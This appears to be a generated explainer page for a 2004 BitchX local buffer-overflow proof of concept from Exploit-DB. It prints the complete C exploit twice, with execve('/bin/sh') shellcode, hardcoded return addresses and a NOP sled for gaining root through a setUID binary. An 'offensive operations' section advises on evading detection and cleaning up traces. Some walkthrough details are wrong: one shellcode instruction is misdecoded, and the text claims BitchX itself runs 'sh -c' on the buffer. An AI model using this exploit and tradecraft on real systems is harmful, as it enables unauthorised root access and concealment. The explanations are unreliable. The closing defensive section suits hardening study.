BitchX 1.0c20 Local Buffer Overflow Exploit Explained

BitchX 1.0c20 Local Buffer Overflow Exploit Explained
What this paper is
This paper presents a Proof-of-Concept (PoC) exploit for a local buffer overflow vulnerability in BitchX IRC client version 1.0c20cvs. The exploit targets systems where BitchX might be installed with the setUID bit set, allowing a local, unprivileged user to potentially gain root privileges by exploiting this vulnerability. The provided code demonstrates how to trigger the overflow and execute arbitrary shellcode.
Simple technical breakdown
The BitchX IRC client, when compiled with certain configurations (like setUID), can be vulnerable. This exploit targets a buffer overflow. This means that if a program tries to write more data into a fixed-size memory area (a buffer) than it can hold, the excess data spills over into adjacent memory. In this case, the excess data can overwrite critical control information on the program's call stack, including the return address. The return address tells the program where to continue execution after a function finishes. By overwriting this address with a location controlled by the attacker, the attacker can redirect the program's execution flow to their own malicious code (shellcode).
This exploit works by:
- Crafting a malicious input: It creates a long string that overflows a buffer within BitchX.
- Overwriting the return address: The overflowed data includes a specific memory address that points to the attacker's shellcode.
- Injecting shellcode: The shellcode, which is designed to execute commands (like spawning a shell), is placed within the overflowed data.
- Executing the vulnerable program: The exploit then executes the BitchX binary with the crafted malicious input, causing the overflow and redirecting execution to the shellcode.
Complete code and payload walkthrough
The provided C code is an exploit script designed to leverage a buffer overflow in BitchX.
/* Tested on BitchX-1.0c19 /str0ke */
/*
* P.o.C Exploit Code for BitchX
* made for Version (BitchX-1.0c20cvs) -- Date (20020325)
*
* (C) 2004. GroundZero Security Research and Software Development
* http://www.groundzero-security.com
*
* released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
*
* --[ background
*
* BitchX contains an local exploitable Buffer Overflow condition.
* Sometimes it is installed setUID to allow non-root users SSL
* access for example and therfore it could be used by a mallicious
* local user, to obtain root access. This code demonstrates the
* described vulnerability and can be used to verify the bug on
* your system(s).
*/- Comments: These lines provide context, including the target version of BitchX (1.0c20cvs, dated 20020325), the authors (GroundZero Security Research), licensing (GNU GPL), and a background explanation of the vulnerability. It highlights that BitchX might be installed setUID, making it a target for privilege escalation.
#include <stdio.h>
struct {
char *distro;
char *version;
char *bx;
unsigned int return_add;
unsigned int buff_size;
} T[] = {
{ "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
{ "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
{ "END", "", "", 0, 0 },
};structandT[]: This defines a structureTto hold target-specific information and an arrayTof these structures. Each entry represents a different target system configuration.distro: The Linux distribution.version: The distribution's version.bx: The specific BitchX binary name or version string.return_add: The calculated return address on the stack for this target. This is crucial for overwriting the legitimate return address with one that points to the shellcode.buff_size: The size of the buffer to be overflowed, which dictates how much padding is needed before the shellcode and return address.- The last entry
{"END", "", "", 0, 0}acts as a sentinel to mark the end of the target list.
char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";shellcode: This is the actual payload. It's a sequence of bytes that, when executed, will perform a specific action.\xeb\x1f:JMP short <offset>- Jumps forward 31 bytes. This is a common technique to skip over the/bin/shstring and land directly at the start of the executable code.\x5e:POP esi- Pops the value from the stack into theesiregister. In this context,esiwill likely point to the/bin/shstring.\x89\x76\x08:MOV [esi+0x08], esi- Moves the value ofesi(the address of/bin/sh) into memory atesi + 8. This is part of setting up arguments for theexecvesystem call.\x31\xc0:XOR eax, eax- Sets theeaxregister to zero.eaxis often used for system call numbers.\x88\x46\x07:MOV [esi+0x07], al- Moves the lower 8 bits ofeax(which is 0) into memory atesi + 7. This is likely setting a null terminator for a string.\x89\x46\x0c:MOV [esi+0x0c], eax- Moves the value ofeax(which is 0) into memory atesi + 12. This is likely setting another null terminator or a null pointer.\xb0\x0b:MOV al, 0x0b- Sets the lower 8 bits ofeaxto 11. System call number 11 on Linux isexecve.\x89\xf3:MOV ebx, esi- Moves the value ofesi(the address of/bin/sh) intoebx.ebxtypically holds the first argument to a system call. In this case, it will be the path to the executable (/bin/sh).\x8d\x4e\x08:LEA ecx, [esi+0x08]- Loads the effective address ofesi + 8intoecx. This points to the first argument forexecve(the command string).\x8d\x56\x0c:LEA esi, [esi+0x0c]- Loads the effective address ofesi + 12intoesi. This is likely setting up the environment pointer forexecve.\xcd\x80:INT 0x80- Triggers a software interrupt to make a system call. Witheaxset to 11, this executesexecve("/bin/sh", ...)\x31\xdb:XOR ebx, ebx- Setsebxto zero.\x89\xd8:MOV eax, ebx- Setseaxto zero.\x40:INC eax- Incrementseaxto 1.\xcd\x80:INT 0x80- Triggers another system call. Witheaxset to 1, this executesexit(0). This is a fallback ifexecvefails./bin/sh: This string literal is appended to the shellcode. TheJMP shortinstruction at the beginning skips over this string, and thePOP esiinstruction makesesipoint to it.
int usage(char *argv)
{
int i;
fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
fprintf (stdout, "Available Targets:\n");
for(i=0;T[i].distro!="END";i++)
fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);
return(0);
}usage()function: This function prints help information to the console.- It shows how to run the exploit (e.g.,
./exploit /bin/BitchX). - It lists the pre-defined targets from the
Tarray, showing the distribution, version, and BitchX binary name for each.
- It shows how to run the exploit (e.g.,
int main(int argc, char *argv[])
{
unsigned int i;
unsigned int t;
char buffer[3000];
char *a1 = "sh";
char *a2 = "-c";
char *env[] = { "TERM=xterm", 0 };
char *args[] = { a1, a2, buffer, 0}; /* arguments list */
fprintf (stdout, "\n\n#############################################################\n");
fprintf (stdout, "### GroundZero Security Research and Software Development ###\n");
fprintf (stdout, "### Linux Local P.o.C Exploit for BitchX ###\n");
fprintf (stdout, "#############################################################\n\n");main()function - Initialization:buffer[3000]: Declares a character array (buffer) of 3000 bytes. This buffer will be filled with padding, the return address, and the shellcode.a1,a2: Pointers to strings "sh" and "-c". These are used to construct the command that will be executed byexecve. Theargsarray will form the commandsh -c <buffer_content>.env[]: An array of strings representing environment variables. Here, onlyTERM=xtermis set, followed by a null pointer.args[]: An array of pointers to strings that will be passed as arguments to the executed program. It's set up to executesh -c <buffer_content>. Thebufferitself will contain the overflowed data and shellcode.- Prints a header identifying the exploit.
if(argv[1]==NULL||argv[2]==NULL)
{
usage (argv[0]);
fprintf (stdout, "\n");
exit (0);
}
if(strlen(argv[1])>255||strlen(argv[2])>255)
{
exit (-1);
}
t=atoi(argv[2]);main()function - Input Validation and Target Selection:- Checks if the required command-line arguments (
argv[1]andargv[2]) are provided. If not, it callsusage()and exits. - Checks if the lengths of the provided arguments exceed 255 characters, exiting if they do. This might be a safeguard against extremely long inputs that could cause issues elsewhere.
t=atoi(argv[2]): Converts the second command-line argument (argv[2]) into an integer usingatoi. This integertis used as an index to select a target configuration from theTarray.
- Checks if the required command-line arguments (
fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx);
fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);main()function - Target Information Display:- Prints the details of the selected target (distribution, version, BitchX binary name).
- Prints the return address that will be used for this target.
for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add; /* put return address in buffer */
for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */
memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit string */main()function - Buffer Construction:for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add;: This loop fills thebufferwith thereturn_addvalue. It iteratesT[t].buff_sizetimes, incrementingiby 4 each time.*(long *)&buffer[i]casts a pointer tobuffer[i]to alongpointer and dereferences it, effectively writing the 4-bytereturn_addvalue into the buffer at 4-byte intervals. This overwrites the stack frame's saved return address and potentially other data.for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90;: This loop fills the beginning of the buffer with NOP (No Operation) instructions (0x90). The number of NOPs is calculated to beT[t].buff_sizeminus the length of the shellcode and an additional 40 bytes. This creates a "NOP sled" – a sequence of instructions that do nothing but advance the instruction pointer. If the return address lands anywhere within this sled, execution will slide down to the actual shellcode.memcpy (buffer+i,shellcode,strlen(shellcode));: This copies theshellcodebytes into thebuffer. Theivariable at this point holds the index where the NOP sled ends, which is right before the shellcode. Thememcpyplaces the shellcode immediately after the NOP sled. The-40in the NOP sled calculation ensures there's space for the shellcode and some padding before it.
fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
sleep(3);
if((execve (argv[1],args,env))==-1) /* execute binary and smash the stack */
{
perror("execve");
exit (-1);
}
exit (0);
}main()function - Execution:fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);: Informs the user that the exploit is about to be launched and provides a brief window to cancel.sleep(3);: Pauses execution for 3 seconds.if((execve (argv[1],args,env))==-1): This is the core execution step.execve(): This system call replaces the current process image with a new one.argv[1]: The first command-line argument, which is expected to be the path to the vulnerable BitchX binary (e.g.,/bin/BitchX).args: The array of arguments for the new process, which is{"sh", "-c", buffer, NULL}. This means the BitchX binary will be executed, and it will, in turn, executesh -cwith the contents of our craftedbufferas the command. Thebuffercontains the NOP sled and the shellcode.env: The environment variables to be passed to the new process.- If
execve()fails (returns -1), it prints an error message usingperror("execve")and exits. This failure could happen if the path to the BitchX binary is incorrect or if the binary doesn't exist.
exit (0);: Ifexecve()is successful, the original program is replaced, and thisexit(0)is never reached.
Code Fragment/Block -> Practical Purpose Mapping:
struct { ... } T[] = { ... };-> Defines and initializes target-specific exploit parameters (return addresses, buffer sizes).char shellcode[] = "...";-> Contains the machine code payload to be executed (spawning/bin/sh).usage(char *argv)function -> Provides user guidance and lists available targets.main(...)function -> Orchestrates the exploit execution.char buffer[3000];-> The buffer that will be overflowed.char *args[] = { a1, a2, buffer, 0};-> Sets up the command to be executed viaexecve(e.g.,sh -c <crafted_buffer>).t=atoi(argv[2]);-> Selects the target configuration based on user input.for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add;-> Fills the buffer with the target return address, overwriting the stack's return pointer.for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90;-> Fills the initial part of the buffer with NOP instructions for a NOP sled.memcpy (buffer+i,shellcode,strlen(shellcode));-> Copies the actual shellcode into the buffer after the NOP sled.execve (argv[1],args,env);-> Executes the vulnerable BitchX binary with the crafted input, triggering the overflow and shellcode execution.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target system. The exploit is designed for privilege escalation, so the attacker must first gain a low-privilege shell.
- Lab Preconditions:
- A vulnerable version of BitchX (e.g., 1.0c20cvs or 1.0c19) installed on the target Linux system.
- The BitchX binary must be compiled with the setUID bit set (e.g.,
chmod u+s /bin/BitchX). This is crucial for privilege escalation. - The target system's architecture and kernel must match the assumptions made by the shellcode and return addresses (typically x86 Linux).
- The stack layout and memory addresses (
return_add) are highly specific to the distribution, kernel version, and BitchX compilation. The provided addresses are examples and will likely need to be re-calculated for different environments.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit code.
- Standard Linux command-line utilities (
sh,sleep,execve). - A debugger (like GDB) and disassembler (like objdump) would be essential for determining correct return addresses and shellcode for new targets.
- Execution Pitfalls:
- Incorrect Return Address: The most common failure point. The
return_addvalues are hardcoded and specific to certain distributions and BitchX versions. If the target system's BitchX binary has a different memory layout, ASLR (Address Space Layout Randomization) is enabled, or the stack grows differently, the exploit will fail. The attacker would need to perform stack analysis and address calculation for the specific target. - Buffer Size Mismatch: If
T[t].buff_sizeis not accurate, the overflow might not reach the return address or might corrupt other critical data, leading to a crash instead of shellcode execution. - Shellcode Compatibility: The provided shellcode is for x86 Linux. It might not work on different architectures or if certain system calls are unavailable/modified.
- SetUID Not Set: If BitchX is not setUID root, exploiting it will only grant the privileges of the user running BitchX, not root.
- Input Validation in BitchX: If BitchX itself has internal input validation that prevents the crafted string from reaching the vulnerable code path, the exploit will fail.
- Security Software: Host-based Intrusion Detection Systems (HIDS) or other security software might detect the
execvecall or the shellcode itself.
- Incorrect Return Address: The most common failure point. The
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target BitchX version, installation path, and whether it's setUID. Analyze the target system's architecture and OS version.
- Address Calculation: The provided return addresses are likely outdated or specific to the author's environment. For a real engagement, the operator would need to:
- Compile BitchX on a similar target system.
- Run BitchX in a debugger (GDB).
- Trigger the vulnerability to understand the stack layout.
- Identify a suitable return address that points into the buffer containing the shellcode. This often involves finding the base address of the buffer and adding an offset.
- Shellcode Customization: The shellcode might need modification to evade detection or to perform specific actions required by the engagement.
- Execution Method: Instead of directly running the exploit C code, an operator might embed the shellcode within a more stealthy delivery mechanism or use a scripting language to wrap the execution.
- Cleanup: Ensure no traces of the exploit execution or shellcode remain on the system.
Where this was used and when
- Context: This exploit was developed as a Proof-of-Concept (PoC) to demonstrate a local privilege escalation vulnerability in BitchX. The primary use case described is for a local user to gain root access on a system where BitchX is installed setUID.
- Timeframe: The paper was published on April 21, 2005. The exploit code itself is dated 2004. The vulnerability likely existed and was exploitable in BitchX versions around 2002-2004.
- Usage: While this is a PoC, similar vulnerabilities have been historically used in penetration testing engagements to demonstrate the impact of insecure software configurations (like setUID binaries) and to achieve privilege escalation. It's unlikely to have been used in widespread, automated attacks due to its local nature and the need for specific target configurations.
Defensive lessons for modern teams
- Secure Software Development Practices: Developers must rigorously validate all input sizes and prevent buffer overflows. Static and dynamic analysis tools are crucial.
- Principle of Least Privilege: Avoid setting the setUID bit on non-essential binaries, especially those that handle external input or have known vulnerabilities. Regularly audit setUID binaries.
- Patch Management: Keep all software, including applications like IRC clients, updated to the latest stable versions to patch known vulnerabilities.
- System Hardening:
- ASLR (Address Space Layout Randomization): Modern operating systems employ ASLR, which randomizes memory addresses, making it significantly harder for attackers to predict return addresses.
- Stack Canaries: Compilers can insert "canary" values on the stack. If these values are corrupted by an overflow, the program detects it and terminates safely before the corrupted return address is used.
- NX Bit (Non-Executable Stack): Prevents code execution directly from the stack, making it harder to execute injected shellcode.
- Regular Auditing: Periodically scan systems for setUID binaries and assess their necessity and security posture.
- Application Whitelisting: Restrict which applications can run on critical systems.
ASCII visual (if applicable)
This exploit's core mechanism involves overwriting the stack. A simplified visual representation of the stack before and after the overflow can illustrate the concept.
Stack Before Exploit:
+--------------------+
| ... |
+--------------------+
| Function Arguments |
+--------------------+
| Return Address | <--- Points to legitimate code after function
+--------------------+
| Saved Frame Ptr |
+--------------------+
| Local Variables |
| (Buffer) |
+--------------------+
| ... |Stack After Exploit (Simplified):
+--------------------+
| ... |
+--------------------+
| Function Arguments |
+--------------------+
| Attacker's Address | <--- Overwritten: Points to NOP sled/shellcode
+--------------------+
| Saved Frame Ptr | (Potentially overwritten or ignored)
+--------------------+
| Local Variables |
| (Buffer) |
| [ NOPs ] |
| [ Shellcode ] |
+--------------------+
| ... |Execution Flow:
Vulnerable Program (BitchX) -> Function Call -> Stack Frame Created
|
v
Buffer Overflow Occurs
|
v
Return Address is Overwritten with Attacker's Address
|
v
Function Returns -> Jumps to Attacker's Address
|
v
Execution of NOP Sled
|
v
Execution of Shellcode
|
v
Spawns /bin/sh (Privilege Escalation)Source references
- Paper URL: https://www.exploit-db.com/papers/950
- Raw Exploit URL: https://www.exploit-db.com/raw/950
- Original Authors: GroundZero Security Research and Software Development
- Published Date: 2005-04-21
- Vulnerable Software: BitchX 1.0c20cvs (and potentially 1.0c19)
- Vulnerability Type: Local Buffer Overflow
- Operating System: Linux
Original Exploit-DB Content (Verbatim)
/* Tested on BitchX-1.0c19 /str0ke */
/*
* P.o.C Exploit Code for BitchX
* made for Version (BitchX-1.0c20cvs) -- Date (20020325)
*
* (C) 2004. GroundZero Security Research and Software Development
* http://www.groundzero-security.com
*
* released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
*
* --[ background
*
* BitchX contains an local exploitable Buffer Overflow condition.
* Sometimes it is installed setUID to allow non-root users SSL
* access for example and therfore it could be used by a mallicious
* local user, to obtain root access. This code demonstrates the
* described vulnerability and can be used to verify the bug on
* your system(s).
*/
#include <stdio.h>
struct {
char *distro;
char *version;
char *bx;
unsigned int return_add;
unsigned int buff_size;
} T[] = {
{ "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
{ "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
{ "END", "", "", 0, 0 },
};
char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int usage(char *argv)
{
int i;
fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
fprintf (stdout, "Available Targets:\n");
for(i=0;T[i].distro!="END";i++)
fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);
return(0);
}
int main(int argc, char *argv[])
{
unsigned int i;
unsigned int t;
char buffer[3000];
char *a1 = "sh";
char *a2 = "-c";
char *env[] = { "TERM=xterm", 0 };
char *args[] = { a1, a2, buffer, 0}; /* arguments list */
fprintf (stdout, "\n\n#############################################################\n");
fprintf (stdout, "### GroundZero Security Research and Software Development ###\n");
fprintf (stdout, "### Linux Local P.o.C Exploit for BitchX ###\n");
fprintf (stdout, "#############################################################\n\n");
if(argv[1]==NULL||argv[2]==NULL)
{
usage (argv[0]);
fprintf (stdout, "\n");
exit (0);
}
if(strlen(argv[1])>255||strlen(argv[2])>255)
{
exit (-1);
}
t=atoi(argv[2]);
fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx);
fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);
for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add; /* put return address in buffer */
for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */
memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit string */
fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
sleep(3);
if((execve (argv[1],args,env))==-1) /* execute binary and smash the stack */
{
perror("execve");
exit (-1);
}
exit (0);
}
// milw0rm.com [2005-04-21]